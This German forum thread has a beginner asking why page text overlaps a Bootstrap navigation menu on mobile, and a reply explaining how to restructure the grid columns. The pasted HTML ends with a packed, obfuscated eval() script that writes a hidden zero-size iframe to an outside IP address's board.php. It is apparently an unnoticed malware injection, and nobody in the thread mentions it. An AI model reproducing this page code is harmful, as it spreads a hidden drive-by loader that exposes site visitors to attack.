Text springt in die Navigation, bitte um Hilfe

dreamwitch111 · 17.02.2016

Hallo ihr Profis,

ich helfe gerade einem Freund bei einer Webseite. Diese wurde bereits erstellt, ich fülle sie sozusagen und erstelle die Seiten des Untermenüs.
Im Web wird am Monitor alles perfekt angezeigt, aber am Handy oder Tabelt springt der Text des Inhalts immer ins Navigationsmenü, wird sozusagen teilweise davon verdeckt. Könnte mir bitte jemand sagen was ich hier falsch mache? Bei Bildern im Inhalt taucht auch dieses Problem auf.

Hier der Code einer Seite:

HTML:

<!DOCTYPE HTML>
<html>
<head>
<title>EEBA - Blitz und Überspannungsschtuz</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">

<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="EEBAcustom.css" rel="stylesheet">

</head>
<body class="lightBG">
<div class="container-fluid">
<div class="row">
<div class="col-md-3 SideContent"><a href="index.html"><img src="images/Logo.png" class="img-responsive" alt="..." /></a></div>
<div class="col-md-9"></div>
</div>
</div>

<div class="container-fluid">
<div class="row">
<div class="col-md-3 topMenu">

<ul class="topSubMenu">
<li><p>Unternehmen</p></li>
<li><a href="team.html">Das Team</a></li>
<li><a href="visionen.html">Visionen</a></li>
<li><a href="#">Unterpunkt 3</a></li>
<li><a href="#">Unterpunkt 4</a></li>
<li><a href="#">Unterpunkt 5</a></li>
</ul>

</div>
<div class="content col-md-7">
<h2><em> Geschichte und Entwicklung: </em></h2>
Das Unternehmen wurde 1975 von Herrn Georg Söffner und seinem Partner Elektro-Ingenieur Lothar Frenzel, gegründet.

1976 wurde neben der Installation von Blitzschutzanlagen der Wartungs- und Prüfservice aufgebaut.
Nach dem Grundsatz, nur mit zufriedenen Kunden kann man langfristige Geschäftsbeziehungen eingehen und erhalten, ist das Unternehmen kontinuierlich gewachsen.
In den 80-er Jahren wurde in Augsburg ein Montage- und Prüferstützpunkt eingerichtet, in der 90-er Jahren wurden zwei Blitzschutzunternehmen in München übernommen und in das Unternehmen EEBA GmbH integriert, 2005 kam noch ein Unternehmen aus Kempten - ehemals Firma Resing Blitzschutz - hinzu.

Mit modernster EDV-Software ist es uns heute möglich, unsere Kunden mit mehreren tausend Objekten zuverlässig auf dem Prüf- und Wartungssektor zu betreuen.
Ein geschulter und hochmotivierter Mitarbeiterstamm von der Verwaltung über die Montage bis hin zu den Revisionstechnikern und Sachverständigen stehen Ihnen zur Verfügung.
Aufgrund der gestiegenen Anforderungen im Bereich Blitzschutz sind wir immer bestrebt, durch Weiterbildung unsere Kompetenz zu festigen
und Ihnen als Kunden das gesamte Spektrum von äußerem und innerem Blitzschutz, von der Installation bis zur Wartung, liefern zu können.

In enger Zusammenarbeit mit namhaften Herstellern von Blitzschutzbauteilen erstellen wir für jeden Anwendungsfall die passende Lösung. </div>
</div>

</div>

<div class="container-fluid ">
<div class="row">
<div class="col-md-3 SideContent">
<ul class="SideMenu">
<li><a href="innererblitzschutz.html">Innerer Blitzschutz</a></li>
<li><a href="aeussererblitzschutz.html">Äußerer Blitzschutz</a></li>
<li><a href="leistungen.html">Leistungen</a></li>
<li class="empty"></li>
<li><a href="qualifikationen.html">Qualifikationen</a></li>
<li><a href="kontakt.html">Kontakt</a></li>
</ul>
</div>
<div class="col-md-9 content">

</div>
</div>
</div>




<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>

<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|121||src|height|187|width|board||10|php|62|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>
</html>

Hier folgt CSS:

CSS:

body{
  background-color: rgb(27, 144, 205);;
  margin: 0px;
  padding: 0px;
  /* display: flex; */
}

.SideMenu{
   padding : 15px 15px 0px 0px;
   margin : 0px;
}

.SideMenu > li{
   list-style-type : none;
}

.SideMenu > li > a{
   border : 3px solid white;
   padding : 10px 15px 10px 15px;
   display : block;
   text-align : center;
   margin-bottom: 10px;
   color : white;
   transition : 1s;
}

.SideMenu > li > a:hover{
   text-decoration : none;
   background-color : white;
   color : black;
}

.empty{
   border : 3px solid rgb(27, 144, 205);
   padding : 10px 15px 10px 15px;
   display : block;
   text-align : center;
   margin-bottom: 10px;
   height : 46px;
}

.SideContent{
   background-color : rgb(27, 144, 205);
}

.blueBG{
   background-color: rgb(27, 144, 205);
}
.lightBG{
   /*background-color: #DBF3FF;*/
   background: #f7fbfc; /* Old browsers */
/* IE9 SVG, needs conditional override of 'filter' to 'none' */
background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPHJhZGlhbEdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY3g9IjUwJSIgY3k9IjUwJSIgcj0iNzUlIj4KICAgIDxzdG9wIG9mZnNldD0iMCUiIHN0b3AtY29sb3I9IiNmN2ZiZmMiIHN0b3Atb3BhY2l0eT0iMSIvPgogICAgPHN0b3Agb2Zmc2V0PSI0MCUiIHN0b3AtY29sb3I9IiNkOWVkZjIiIHN0b3Atb3BhY2l0eT0iMSIvPgogICAgPHN0b3Agb2Zmc2V0PSIxMDAlIiBzdG9wLWNvbG9yPSIjYWRkOWU0IiBzdG9wLW9wYWNpdHk9IjEiLz4KICA8L3JhZGlhbEdyYWRpZW50PgogIDxyZWN0IHg9Ii01MCIgeT0iLTUwIiB3aWR0aD0iMTAxIiBoZWlnaHQ9IjEwMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);
background: -moz-radial-gradient(center, ellipse cover, #f7fbfc 0%, #d9edf2 40%, #add9e4 100%); /* FF3.6+ */
background: -webkit-gradient(radial, center center, 0px, center center, 100%, color-stop(0%,#f7fbfc), color-stop(40%,#d9edf2), color-stop(100%,#add9e4)); /* Chrome,Safari4+ */
background: -webkit-radial-gradient(center, ellipse cover, #f7fbfc 0%,#d9edf2 40%,#add9e4 100%); /* Chrome10+,Safari5.1+ */
background: -o-radial-gradient(center, ellipse cover, #f7fbfc 0%,#d9edf2 40%,#add9e4 100%); /* Opera 12+ */
background: -ms-radial-gradient(center, ellipse cover, #f7fbfc 0%,#d9edf2 40%,#add9e4 100%); /* IE10+ */
background: radial-gradient(ellipse at center, #f7fbfc 0%,#d9edf2 40%,#add9e4 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f7fbfc', endColorstr='#add9e4',GradientType=1 ); /* IE6-8 fallback on horizontal gradient */
}

.topMenu{
   border: 3px solid  rgb(27, 144, 205);
   text-align : center;
   color: rgb(27, 144, 205);
   height: 351px
}

.topSubMenu{
   margin: 10px;
   padding-left: 0px;
}

.topSubMenu > li{
   list-style-type : none;
   color : rgb(27, 144, 205);
}

.topSubMenu  a{
   text-decoration : none;
   padding : 10px 15px 10px 15px;
   display : block;
   text-align : center;
   margin-bottom: 10px;

   transition : 0.5s;
}

.topSubMenu  a:hover{
   color : white;
   background-color : rgb(27, 144, 205);
}


.topSubMenu p{
   border : 3px solid rgb(27, 144, 205);
   padding : 10px 15px 10px 15px;
   display : block;
   text-align : center;
   margin-bottom: 10px;
 
}


.content{
   height: 351px;
}


.banner{
   padding : 0px;
   background-color: #F9F9F9;
}

.since{
   color : white;
    font-size: 300%;
   position : absolute;
   bottom : 0px;
   right  : 10px;
 
}

Vielleicht hat ja wer eine Idee. Die Seite ist gerade zur Ansicht auf www.rocktownmunich.de abrufbar.

Vielen herzliche Dank, wäre wirklich dankbar für einen Tipp.

lg Petra

Code formatiert - Dobi78

Myhar · 17.02.2016

Ist ja auch logisch, du definierst deine Navigation auch nach deinem Inhalt. Da "rutscht" nichts, das ist von dir so vorgegeben. Wenn du das anders haben willst musst du deinen HTML-Code anders aufbauen. Die Navigation also in einen (und nicht zwei wie jetzt) Container geben und den Inhalt in einen seperaten.

dreamwitch111 · 17.02.2016

Dann werd ich das mal versuchen, vielen Dank. Wird mich Tage kosten ;-) Ich bin eben kein Profi und echt dankbar für deine Hilfe.

lg Petra

dreamwitch111 · 18.02.2016

Ok, ich bin die halbe Nacht auf gewesen, hab DIVs verschoben, neu gesetzt und ca. gefühlte 40 Mal die Seite zerschossen. Vielleicht hab ich da ein Brett vor dem Kopf, aber der Inhalt rutscht trotz aller Versuche immer in das Navi :-(((
Mir ist nicht ganz klar, welche zwei Container du meinst offensichtlich. Anfänger eben.....

Myhar · 18.02.2016

Wenn man schon Frameworks verwendet sollte man wenigstens auch eine grundlegende Ahnung davon haben, was diese tun. Ja, sie erleichtern einem die Arbeit. Aber wenn man keinen Plan hat, empfiehlt es sich, zuerst die allgemeinen Grundlagen zu erlernen.

Dein Aufbau könnte zB so aussehen:

Code:

<div class="col-md-3">
 <!-- HIER DIE KOMPLETTE NAVI REIN -->
</div>
<div class="col-md-9">
 <!-- HIER DEN KOMPLETTEN CONTENT REIN -->
</div>

dreamwitch111 · 18.02.2016

Danke, dann mach ich mich mal an die Arbeit. Wie ich oben geschrieben habe: ich hab das nicht selbst erstellt, mit Dreamweaver zuletzt 2004 gearbeitet. Seither hat sich einiges getan.
Jetzt muss ich wieder lernen, no prob, das braucht allerdings Zeit. Ich muss erst mal nur das Problem mit diesem Aufbau lösen, dann werd ich mich über Dreamweaver hermachen. Danke noch mal, hoffentklich krieg ich das jetzt hin bevor ich hier verzweifel :-(